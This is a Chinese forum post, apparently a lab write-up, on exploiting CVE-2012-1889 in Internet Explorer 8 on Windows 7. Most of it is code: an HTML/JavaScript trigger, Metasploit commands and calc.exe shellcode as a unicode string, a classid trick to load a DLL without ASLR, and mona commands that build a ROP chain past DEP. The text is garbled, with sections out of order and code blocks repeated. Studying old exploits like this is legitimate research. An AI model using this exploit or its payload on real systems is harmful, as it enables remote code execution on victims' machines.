操作系统:Windows 7 sp1 32位
浏览器:IE 8.0 7601.17514
调试器: IDA、x64dbg、ImmunityDebugger
其他工具:Metasploit
可以看出来这个ROP代码是调用VirtualProtect去绕过DEP的,在生成的ROP链中有一个很明显的问题,VirtualProtect
的地址是0x????????,也就是说地址是未知的,那么拿IDA来看一下dll的导入表
在xp下写利用代码不需要考虑ASLR+DEP的问题,在win7下一般是通过msvcr71.dll进行rop利用,在没有安装java的情况下则不会加载msvcr71.dll,本人也是好奇如果电脑没有java环境那这个漏洞怎么利用? 有没有别的利用办法?
选择这个漏洞是因为这个漏洞简单暴力,相对于其他漏洞更加便于利用。
实验环境
漏洞验证
漏洞触发poc:
这是网上找到一个poc
<html>
<head>
<title>CVE 2012-1889 PoC</title>
</head>
<body>
<object classid="clsid:f6D90f11-9c73-11d3-b32e-00C04f990bb4" id='poc'></object>
<script>
var obj = document.getElementById('poc').object;
var src = unescape("%u0c0c%u0c0c");
while (src.length < 0x1002) src += src;
src = "\\\\xxx" + src;
src = src.substr(0, 0x1000 - 10);
var pic = document.createElement("img");
pic.src = src;
pic.nameProp;
obj.definition(0);
</script>
</body>
</html>
<html>
<head>
<title>CVE 2012-1889 PoC</title>
</head>
<body>
<object classid="clsid:f6D90f11-9c73-11d3-b32e-00C04f990bb4" id='poc'></object>
<script>
var obj = document.getElementById('poc').object;
var src = unescape("%u0c0c%u0c0c");
while (src.length < 0x1002) src += src;
src = "\\\\xxx" + src;
src = src.substr(0, 0x1000 - 10);
var pic = document.createElement("img");
pic.src = src;
pic.nameProp;
obj.definition(0);
</script>
</body>
</html>
异常基本信息:
在IE8中运行上面的poc代码,用x64dbg附加,在异常时eax和esi寄存器已经成功被构造成了错误的数值,从这个情况来看直接进行堆喷射就可以利用, 在退出程序之前需要在0x687EE2D9处下一个断点,因为在后面的调试过程中会用到
Metasploit生成shellcode:
生成C语言的shellcode使用以下命令
:
1.打开cmd输入msfconsole
2.use windows/exec
3.set CMD calc.exe
4.generate -t c
需要注意的是,这个shellcode是C语言的,需要转换成HTML的,可以自己写个小工具转换,也可以不嫌麻烦手动转,下面是我自己转换过后的代码
//[ Shellcode ]
var shellcode =
"\ue8fc\u0082\u0000\u8960\u31e5\u64c0\u508b\u8b30"+
"\u0c52\u528b\u8b14\u2872\ub70f\u264a\uff31"+
"\u3cac\u7c61\u2c02\uc120\u0dcf\uc701\uf2e2\u5752"+
"\u528b\u8b10\u3c4a\u4c8b\u7811\u48e3\ud101"+
"\u8b51\u2059\ud301\u498b\ue318\u493a\u348b\u018B"+
"\u31d6\uacff\ucfc1\u010d\u38c7\u75e0\u03f6"+
"\uf87d\u7d3b\u7524\u58e4\u588b\u0124\u66d3\u0c8b"+
"\u8b4b\u1c58\ud301\u048b\u018b\u89d0\u2444"+
"\u5b24\u615b\u5a59\uff51\u5fe0\u5a5f\u128b\u8deb"+
"\u6a5d\u8d01\ub285\u0000\u5000\u3168\u6f8b"+
"\uff87\ubbd5\ub5f0\u56a2\ua668\ubd95\uff9d\u3cd5"+
"\u7c06\u800a\ue0fb\u0575\u47bb\u1372\u6a6f"+
"\u5300\ud5ff\u6163\u636c\u652e\u6578\u0000";
//[ Shellcode ]
var shellcode =
"\ue8fc\u0082\u0000\u8960\u31e5\u64c0\u508b\u8b30"+
"\u0c52\u528b\u8b14\u2872\ub70f\u264a\uff31"+
"\u3cac\u7c61\u2c02\uc120\u0dcf\uc701\uf2e2\u5752"+
"\u528b\u8b10\u3c4a\u4c8b\u7811\u48e3\ud101"+
"\u8b51\u2059\ud301\u498b\ue318\u493a\u348b\u018B"+
"\u31d6\uacff\ucfc1\u010d\u38c7\u75e0\u03f6"+
"\uf87d\u7d3b\u7524\u58e4\u588b\u0124\u66d3\u0c8b"+
"\u8b4b\u1c58\ud301\u048b\u018b\u89d0\u2444"+
"\u5b24\u615b\u5a59\uff51\u5fe0\u5a5f\u128b\u8deb"+
"\u6a5d\u8d01\ub285\u0000\u5000\u3168\u6f8b"+
"\uff87\ubbd5\ub5f0\u56a2\ua668\ubd95\uff9d\u3cd5"+
"\u7c06\u800a\ue0fb\u0575\u47bb\u1372\u6a6f"+
"\u5300\ud5ff\u6163\u636c\u652e\u6578\u0000";
加载一个未开启ASLR的模块
:
在生成shellcode后还需要找到一个没有开启ASLR的模块来进行ROP的构造和利用,那么可以使用GUID去
加载一个可利用的dll文件。
<html>
<object classid='clsid:A138CF39-2CAE-42c2-ADB3-022658D79F2F' </object>
</html>
<html>
<object classid='clsid:A138CF39-2CAE-42c2-ADB3-022658D79F2F' </object>
</html>
ROP构造:
测试代码:
<html>
<head>
<title>CVE 2012-1889 POC</title>
</head>
<body>
<object classid="clsid:A138CF39-2CAE-42c2-ADB3-022658D79F2F"></object>
<object classid="clsid:f6D90f11-9c73-11d3-b32e-00C04f990bb4" id='poc'></object>
<script>
//[ Shellcode ]
var shellcode =
"\ue8fc\u0082\u0000\u8960\u31e5\u64c0\u508b\u8b30"+
"\u0c52\u528b\u8b14\u2872\ub70f\u264a\uff31"+
"\u3cac\u7c61\u2c02\uc120\u0dcf\uc701\uf2e2\u5752"+
"\u528b\u8b10\u3c4a\u4c8b\u7811\u48e3\ud101"+
"\u8b51\u2059\ud301\u498b\ue318\u493a\u348b\u018B"+
"\u31d6\uacff\ucfc1\u010d\u38c7\u75e0\u03f6"+
"\uf87d\u7d3b\u7524\u58e4\u588b\u0124\u66d3\u0c8b"+
"\u8b4b\u1c58\ud301\u048b\u018b\u89d0\u2444"+
"\u5b24\u615b\u5a59\uff51\u5fe0\u5a5f\u128b\u8deb"+
"\u6a5d\u8d01\ub285\u0000\u5000\u3168\u6f8b"+
"\uff87\ubbd5\ub5f0\u56a2\ua668\ubd95\uff9d\u3cd5"+
"\u7c06\u800a\ue0fb\u0575\u47bb\u1372\u6a6f"+
"\u5300\ud5ff\u6163\u636c\u652e\u6578\u0000";
//Vulnerability Trigger
var obj = document.getElementById('poc').object;
var src = unescape("%u0C10%u0F0C"); // fill the stack with
while (src.length < 0x1002) src += src;
src = "\\\\xxx" + src;
src = src.substr(0, 0x1000 - 10);
var pic = document.createElement("img");
pic.src = src;
pic.nameProp;
obj.definition(0);
</script>
</body>
</html>
在IE8中运行上面的测试代码,用ImmunityDebugger附加进程
<html>
<head>
<title>CVE 2012-1889 POC</title>
</head>
<body>
<object classid="clsid:A138CF39-2CAE-42c2-ADB3-022658D79F2F"></object>
<object classid="clsid:f6D90f11-9c73-11d3-b32e-00C04f990bb4" id='poc'></object>
<script>
//[ Shellcode ]
var shellcode =
"\ue8fc\u0082\u0000\u8960\u31e5\u64c0\u508b\u8b30"+
"\u0c52\u528b\u8b14\u2872\ub70f\u264a\uff31"+
"\u3cac\u7c61\u2c02\uc120\u0dcf\uc701\uf2e2\u5752"+
"\u528b\u8b10\u3c4a\u4c8b\u7811\u48e3\ud101"+
"\u8b51\u2059\ud301\u498b\ue318\u493a\u348b\u018B"+
"\u31d6\uacff\ucfc1\u010d\u38c7\u75e0\u03f6"+
"\uf87d\u7d3b\u7524\u58e4\u588b\u0124\u66d3\u0c8b"+
"\u8b4b\u1c58\ud301\u048b\u018b\u89d0\u2444"+
"\u5b24\u615b\u5a59\uff51\u5fe0\u5a5f\u128b\u8deb"+
"\u6a5d\u8d01\ub285\u0000\u5000\u3168\u6f8b"+
"\uff87\ubbd5\ub5f0\u56a2\ua668\ubd95\uff9d\u3cd5"+
"\u7c06\u800a\ue0fb\u0575\u47bb\u1372\u6a6f"+
"\u5300\ud5ff\u6163\u636c\u652e\u6578\u0000";
//Vulnerability Trigger
var obj = document.getElementById('poc').object;
var src = unescape("%u0C10%u0F0C"); // fill the stack with
while (src.length < 0x1002) src += src;
src = "\\\\xxx" + src;
src = src.substr(0, 0x1000 - 10);
var pic = document.createElement("img");
pic.src = src;
pic.nameProp;
obj.definition(0);
</script>
</body>
</html>
在IE8中运行上面的测试代码,用ImmunityDebugger附加进程
附加成功后F9直接运行,然后点击浏览器警告并同意执行脚本,在脚本执行后会直接触发异常,这时候不用管,直接点击L按钮打开log日志,然后在命令框中输入!mona modules查看未开启ASLR的模块,很明显VsaVb7rt.dll没有开启ASLR也没有Rebase,说明这个dll可以被用来构造ROP链
输入!mona rop -m VsaVb7rt.dll命令,mona插件就会自动生成一个可用的ROP链给我们,而不需要自己手动去构造,大大的节约了开发时间,主要是手动找汇编代码这个过程肯定很累,需要注意的是mona生成ROP链模板的时候会很慢,我自己I7的CPU也生成了5分钟左右才生成出来,而且还是在一个核被充分利用的情况下
ROP链生成完毕后会输出到LOG日志中,但是复制粘贴比较麻烦,也可以直接在ImmunityDebugger根目录下的rop_virtualprotect.txt文件中找到
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课
最后于 2018-12-1 18:47
被来杯柠檬红茶编辑
,原因: